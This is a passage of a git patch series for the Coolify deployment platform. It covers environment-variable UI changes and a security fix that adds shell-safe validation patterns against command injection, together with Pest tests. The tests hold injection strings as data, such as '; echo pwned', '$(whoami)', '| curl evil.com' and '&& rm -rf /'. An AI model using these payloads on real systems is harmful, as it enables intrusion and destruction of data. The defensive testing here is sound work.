'LOCK_TEST_KEY'; + + $privateKey->storeInFileSystem(); + + // Lock file should persist (not be deleted) to prevent flock race conditions + $this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem'); + } + + public function test_server_model_detects_private_key_id_changes() + { + $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString( + "wasChanged('private_key_id')", + $source, + 'Server saved event should detect private_key_id changes' + ); } } From ed3b5d096c06434775c144f27cfbf0bc88eb71b7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 17 Mar 2026 09:52:29 +0100 Subject: [PATCH 16/49] refactor(environment-variable): remove buildtime/runtime options and improve comment field Remove buildtime and runtime availability checkboxes from service-type environment variables across all permission levels. Always show the comment field with a conditional placeholder for magic variables instead of hiding it. Add a lock button for service-type variables. --- .../environment-variable/show.blade.php | 42 +++++-------------- 1 file changed, 10 insertions(+), 32 deletions(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 86faeeeb4..4db35674a 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -34,12 +34,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @endif
- @if (!$isMagicVariable) - - @endif + @else
@@ -178,10 +165,9 @@ @endif
- @if (!$isMagicVariable) - - @endif + @endcan @can('update', $this->env) @@ -189,12 +175,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @endif
+ @elseif ($type === 'service') +
+ Lock +
@endif @else @@ -265,12 +249,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) Date: Tue, 17 Mar 2026 10:11:26 +0100 Subject: [PATCH 17/49] feat(environment-variable): add placeholder hint for magic variables Add a placeholder message to the comment field indicating when an environment variable is handled by Coolify and cannot be edited manually. --- .../livewire/project/shared/environment-variable/show.blade.php | 1 + 1 file changed, 1 insertion(+) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 4db35674a..d8d448700 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -26,6 +26,7 @@
Update From 23f9156c7306b221101f1ebbe4d3c6b5e2522acd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 13:53:01 +0100 Subject: [PATCH 18/49] Squashed commit from 'qqrq-r9h4-x6wp-authenticated-rce' --- .../Api/ApplicationsController.php | 4 +- app/Jobs/ApplicationDeploymentJob.php | 47 ++- app/Livewire/Project/Application/General.php | 78 ++-- app/Support/ValidationPatterns.php | 62 ++- bootstrap/helpers/api.php | 21 +- .../project/application/general.blade.php | 8 +- .../Feature/CommandInjectionSecurityTest.php | 363 ++++++++++++++++++ 7 files changed, 507 insertions(+), 76 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6188651a1..6f34b43bf 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2472,7 +2472,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2483,8 +2483,6 @@ public function update_by_uuid(Request $request) 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', 'docker_compose_domains.*.domain' => 'string|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', 'custom_nginx_configuration' => 'string|nullable', 'is_http_basic_auth_enabled' => 'boolean|nullable', 'http_basic_auth_username' => 'string', diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..ed77b7c67 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id) $this->preserveRepository = $this->application->settings->is_preserve_repository_enabled; $this->basedir = $this->application->generateBaseDir($this->deployment_uuid); - $this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/'); + $baseDir = $this->application->base_directory; + if ($baseDir && $baseDir !== '/') { + $this->validatePathField($baseDir, 'base_directory'); + } + $this->workdir = "{$this->basedir}".rtrim($baseDir, '/'); $this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}"; $this->is_debug_enabled = $this->application->settings->is_debug_enabled; @@ -312,7 +316,11 @@ public function handle(): void } if ($this->application->dockerfile_target_build) { - $this->buildTarget = " --target {$this->application->dockerfile_target_build} "; + $target = $this->application->dockerfile_target_build; + if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { + throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.'); + } + $this->buildTarget = " --target {$target} "; } // Check custom port @@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack() $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command'); $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; @@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack() } } if (data_get($this->application, 'docker_compose_custom_build_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command'); $this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command; if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) { $this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); @@ -3948,6 +3958,24 @@ private function validatePathField(string $value, string $fieldName): string return $value; } + private function validateShellSafeCommand(string $value, string $fieldName): string + { + if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters."); + } + + return $value; + } + + private function validateContainerName(string $value): string + { + if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { + throw new \RuntimeException('Invalid container name: contains forbidden characters.'); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { @@ -3961,7 +3989,17 @@ private function run_pre_deployment_command() foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) { + // Security: pre_deployment_command is intentionally treated as arbitrary shell input. + // Users (team members with deployment access) need full shell flexibility to run commands + // like "php artisan migrate", "npm run build", etc. inside their own application containers. + // The trust boundary is at the application/team ownership level — only authenticated team + // members can set these commands, and execution is scoped to the application's own container. + // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not + // restrict the command itself. Container names are validated separately via validateContainerName(). $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; $this->execute_remote_command( @@ -3988,7 +4026,12 @@ private function run_post_deployment_command() $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id); foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) { + // Security: post_deployment_command is intentionally treated as arbitrary shell input. + // See the equivalent comment in run_pre_deployment_command() for the full security rationale. $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; try { diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b3fe99806..ca1daef72 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -7,7 +7,6 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; -use Livewire\Attributes\Validate; use Livewire\Component; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -22,136 +21,95 @@ class General extends Component public Collection $services; - #[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')] public string $name; - #[Validate(['string', 'nullable'])] public ?string $description = null; - #[Validate(['nullable'])] public ?string $fqdn = null; - #[Validate(['required'])] public string $gitRepository; - #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; - #[Validate(['string', 'nullable'])] public ?string $installCommand = null; - #[Validate(['string', 'nullable'])] public ?string $buildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $startCommand = null; - #[Validate(['required'])] public string $buildPack; - #[Validate(['required'])] public string $staticImage; - #[Validate(['required'])] public string $baseDirectory; - #[Validate(['string', 'nullable'])] public ?string $publishDirectory = null; - #[Validate(['string', 'nullable'])] public ?string $portsExposes = null; - #[Validate(['string', 'nullable'])] public ?string $portsMappings = null; - #[Validate(['string', 'nullable'])] public ?string $customNetworkAliases = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerfileLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfileTargetBuild = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageName = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerComposeLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerCompose = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeRaw = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomStartCommand = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomBuildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $customDockerRunOptions = null; - #[Validate(['string', 'nullable'])] + // Security: pre/post deployment commands are intentionally arbitrary shell — users need full + // flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization. + // Commands execute inside the application's own container, not on the host. public ?string $preDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $preDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $customNginxConfiguration = null; - #[Validate(['boolean', 'required'])] public bool $isStatic = false; - #[Validate(['boolean', 'required'])] public bool $isSpa = false; - #[Validate(['boolean', 'required'])] public bool $isBuildServerEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isPreserveRepositoryEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelEscapeEnabled = true; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelReadonlyEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isHttpBasicAuthEnabled = false; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthUsername = null; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthPassword = null; - #[Validate(['nullable'])] public ?string $watchPaths = null; - #[Validate(['string', 'required'])] public string $redirect; - #[Validate(['nullable'])] public $customLabels; public bool $labelsChanged = false; @@ -184,33 +142,33 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], + 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', 'buildPack' => 'required', 'staticImage' => 'required', - 'baseDirectory' => 'required', - 'publishDirectory' => 'nullable', + 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), + 'publishDirectory' => ValidationPatterns::directoryPathRules(), 'portsExposes' => 'required', 'portsMappings' => 'nullable', 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], - 'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfileLocation' => ValidationPatterns::filePathRules(), + 'dockerComposeLocation' => ValidationPatterns::filePathRules(), 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', - 'dockerfileTargetBuild' => 'nullable', - 'dockerComposeCustomStartCommand' => 'nullable', - 'dockerComposeCustomBuildCommand' => 'nullable', + 'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(), + 'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(), + 'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(), 'customLabels' => 'nullable', - 'customDockerRunOptions' => 'nullable', + 'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000), 'preDeploymentCommand' => 'nullable', - 'preDeploymentCommandContainer' => 'nullable', + 'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'postDeploymentCommand' => 'nullable', - 'postDeploymentCommandContainer' => 'nullable', + 'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'customNginxConfiguration' => 'nullable', 'isStatic' => 'boolean|required', 'isSpa' => 'boolean|required', @@ -233,6 +191,14 @@ protected function messages(): array [ ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), + 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', + 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', + 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 2ae1536da..fdf2b12a6 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -9,7 +9,7 @@ class ValidationPatterns { /** * Pattern for names excluding all dangerous characters - */ + */ public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u'; /** @@ -23,6 +23,32 @@ class ValidationPatterns */ public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + /** + * Pattern for directory paths (base_directory, publish_directory, etc.) + * Like FILE_PATH_PATTERN but also allows bare "/" (root directory) + */ + public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/'; + + /** + * Pattern for Docker build target names (multi-stage build stage names) + * Allows alphanumeric, dots, hyphens, and underscores + */ + public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + + /** + * Pattern for shell-safe command strings (docker compose commands, docker run options) + * Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns + * Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks + * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + */ + public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/'; + + /** + * Pattern for Docker container names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + */ + public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength = public static function nameMessages(): array { return [ - 'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &", + 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &', 'name.min' => 'The name must be at least :min characters.', 'name.max' => 'The name may not be greater than :max characters.', ]; @@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st ]; } + /** + * Get validation rules for directory path fields (base_directory, publish_directory) + */ + public static function directoryPathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN]; + } + + /** + * Get validation rules for Docker build target fields + */ + public static function dockerTargetRules(int $maxLength = 128): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN]; + } + + /** + * Get validation rules for shell-safe command fields + */ + public static function shellSafeCommandRules(int $maxLength = 1000): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; + } + + /** + * Get validation rules for container name fields + */ + public static function containerNameRules(int $maxLength = 255): array + { + return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 43c074cd1..ec42761f7 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -101,8 +101,8 @@ function sharedDataApplications() 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => 'string|nullable', - 'publish_directory' => 'string|nullable', + 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,21 +125,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => 'string|nullable', + 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). + // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => 'string', + 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => 'string', + 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], - 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', + 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', ]; } diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index aada339cc..e27eda8b6 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@else
- @if ($buildPack === 'dockerfile' && !$application->dockerfile) - 'production; echo pwned'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'builder$(whoami)'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand injection in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'stage && env'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid target names', function ($target) { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => $target], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']); + + test('runtime validates dockerfile_target_build', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + + // Test that validateShellSafeCommand is also available as a pattern + $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN; + expect(preg_match($pattern, 'production'))->toBe(1); + expect(preg_match($pattern, 'build; env'))->toBe(0); + expect(preg_match($pattern, 'target`whoami`'))->toBe(0); + }); +}); + +describe('base_directory validation', function () { + test('rejects shell metacharacters in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/src; echo pwned'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/dir$(whoami)'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid base directories', function ($dir) { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => $dir], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['/', '/src', '/backend/app', '/packages/@scope/app']); + + test('runtime validates base_directory via validatePathField', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, '/src', 'base_directory')) + ->toBe('/src'); + }); +}); + +describe('docker_compose_custom_command validation', function () { + test('rejects semicolon injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up; echo pwned'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand chaining in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build $(whoami)'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker compose commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => $cmd], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'docker compose build', + 'docker compose up -d --build', + 'docker compose -f custom.yml build --no-cache', + ]); + + test('rejects backslash in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects single quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects double quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects carriage return injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + 